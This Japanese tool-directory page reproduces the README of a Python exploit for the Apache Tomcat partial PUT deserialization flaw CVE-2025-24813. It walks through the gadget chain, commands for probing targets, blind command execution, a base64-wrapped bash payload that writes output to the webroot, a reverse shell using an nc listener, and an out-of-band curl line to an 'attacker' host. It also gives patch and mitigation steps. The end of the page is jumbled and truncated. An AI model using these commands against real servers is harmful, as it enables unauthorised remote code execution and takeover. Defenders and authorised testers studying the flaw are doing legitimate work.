Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-24813 — Apache Tomcatのpartial PUTデシリアライゼーションRCEであるCVE-2025-24813を悪用するPython PoC。脆弱なバリアントを自動検出し、ブラインドコマンド実行とリバースシェルをサポートします。 | Kitploit
ツール/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミングリモートアクセスツール

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813

CVE-2025-24813

Apache Tomcatのpartial PUTデシリアライゼーションRCEであるCVE-2025-24813を悪用するPython PoC。脆弱なバリアントを自動検出し、ブラインドコマンド実行とリバースシェルをサポートします。

リポジトリを見る
16時間59分前未レビュー

CVE-2025-24813 — Apache Tomcat 部分 PUT デシリアライゼーション RCE

深刻度: クリティカル (CVSS 9.8) 認証要否: 不要 影響を受けるバージョン: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 修正済み: Tomcat 9.0.99 / 10.1.35 / 11.0.3


仕組み

Apache Tomcat は 部分 PUT (Content-Range によるチャンクアップロード) をサポートしています。 部分 PUT が到着すると、Tomcat はボディを以下の一時ファイルにステージングします:

root@kitploit:~
$CATALINA_HOME/work/…/<url-path-filename>

アプリケーションが context.xml で PersistentManager + FileStore を使用するよう設定されている場合、 Tomcat は同じ work ディレクトリから *.session ファイルを自動的に読み込み、セッションを復元するために デシリアライズ します。

これら 2 つの動作を組み合わせると:

root@kitploit:~
PUT /<sid>.session        →  Java シリアライズされたペイロードを work/<sid>.session に書き込む
GET /  Cookie: JSESSIONID=.<sid>   →  Tomcat がファイルを読み込み & デシリアライズ  →  RCE

Cookie 値の先頭のドット (.) が絶対パスによるセッション検索 (バリアント B) をトリガーし、 これがステージングされたファイルに確実に到達するパスです。


ガジェットチェーン

この PoC は ysoserial の CommonsCollections6 を使用しており、 @jdk.internal フラグなしで Java 8–17 で動作し、sun.reflect.SerializationConstructorAccessorImpl に 依存しません。

root@kitploit:~
ObjectInputStream.readObject()
  └─ HashSet.readObject()
       └─ TiedMapEntry.hashCode()
            └─ LazyMap.get()
                 └─ ChainedTransformer.transform()
                      └─ InvokerTransformer → Runtime.exec(command)

特定 (ターゲットは脆弱か?)

ステップ 1 — Tomcat とバージョンの確認

root@kitploit:~
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1  or  Apache Tomcat

ステップ 2 — 部分 PUT が有効か確認

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled  (vulnerable prerequisite met)
# 403/405     = partial PUT disabled (not vulnerable via this path)

ステップ 3 — PoC の実行 (自動検出)

root@kitploit:~
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable  → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln    → all lines show GET=200, no 500

エクスプロイト出力の解説

root@kitploit:~
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=pwn1   [A(no-dot)]     GET=200
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=.pwn2  [B(dot-prefix)] GET=500  <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session        PUT=409 cookie=JSESSIONID=pwn3   [A(no-dot)]     GET=200
...
[+] Target is VULNERABLE!  Winning variant: B(dot-prefix)
    upload path : /{sid}.session
    trigger     : Cookie: JSESSIONID=.pwn2
ステータス意味
PUT 201ファイルが Tomcat work ディレクトリにステージングされた
PUT 409パスがブロックされた (トラバーサル拒否)
GET 200セッションが見つからない / デシリアライズされていない
GET 500デシリアライゼーションがトリガーされた → RCE

エンコード済み vs 生ペイロード — なぜ重要か

アップロードは生のバイナリ Java シリアライズストリームであり、URL エンコードはありません。 HTTP クエリパラメータのエクスプロイトとは異なり、ペイロードは PUT 経由で リクエストボディ に入るため、 戦うべき URL エンコード層が存在しません:

root@kitploit:~
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375

\xac\xed\x00\x05\x73\x72...  (raw serialized bytes — CommonsCollections6)

Content-Range ヘッダーは部分アップロードを通知し、Tomcat はボディをそのままディスクに書き込むため、 シリアライズされたペイロードのすべてのバイトが保持されます。


使用方法

要件

root@kitploit:~
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)

ブラインドコマンド (出力はサーバー側のみ)

root@kitploit:~
python3 autopwn.py http://192.168.61.148:9090 --command "id"

webroot ファイル経由で出力を読み取る

root@kitploit:~
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)

python3 autopwn.py http://192.168.61.148:9090 \
    --command "bash -c {echo,$B64}|{base64,-d}|bash"

# Fetch the result
curl http://192.168.61.148:9090/idout.txt

リバースシェル

root@kitploit:~
# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
    --revshell --lhost 192.168.61.10 --lport 4444

スクリプトはバリアント A/B を自動検出し、最初のヒットで停止し、成功したパスを出力するので、 何が機能したかを正確に把握できます。

すべてのオプション

root@kitploit:~
positional arguments:
  target                Target base URL (e.g. http://192.168.61.148:9090)

options:
  --command CMD         Command to execute (blind mode, default: id)
  --revshell            Send reverse shell instead of blind command
  --lhost LHOST         Listener IP  (required with --revshell)
  --lport LPORT         Listener port (required with --revshell)
  --gadget GADGET       ysoserial gadget chain (default: CommonsCollections6)
  --ysoserial PATH      Path to ysoserial jar (default: ysoserial.jar)
  --sid SID             Session ID prefix for upload filenames (default: pwn)
  --no-ssl-verify       Disable SSL certificate verification

なぜブラインド RCE なのか? 出力を得る方法

CVE-2025-24813 は ブラインド です — Runtime.exec() はコマンドを実行しますが、その stdout/stderr は 破棄されます。HTTP レスポンスはデシリアライゼーションが成功したか (500)、しなかったか (200) のみを 反映します。

出力を得る 3 つの方法:

方法方法
Webroot ファイル出力を /…/webapps/ROOT/ 内のファイルにリダイレクトし、HTTP 経由で取得

修正 / 緩和策

パッチ (推奨)

ブランチ脆弱修正済み
9.x9.0.0.M1 – 9.0.989.0.99+
10.1.x10.1.0-M1 – 10.1.34
root@kitploit:~
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"

回避策 — 部分 PUT を無効化

$CATALINA_HOME/conf/web.xml で DefaultServlet の init-param を見つけ、以下を設定します:

root@kitploit:~
<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

または、不要であれば context.xml の PersistentManager を無効化します:

root@kitploit:~
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!--   <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->

パッチ適用後の検証

root@kitploit:~
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# Patched   → 403 / 405
# Vulnerable → 201

# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched   → all GET=200, no 500

参考文献

  • NVD — CVE-2025-24813
  • Apache Tomcat Security Advisory (9.x)
  • ysoserial

許可されたセキュリティテストおよび教育目的のみに使用してください。

ツールをダウンロード
リバースシェル
--revshell フラグ — インタラクティブシェルを取得し、任意のコマンドをライブで実行
DNS/OOB`curl http://attacker/$(id
10.1.35+
11.x11.0.0-M1 – 11.0.211.0.3+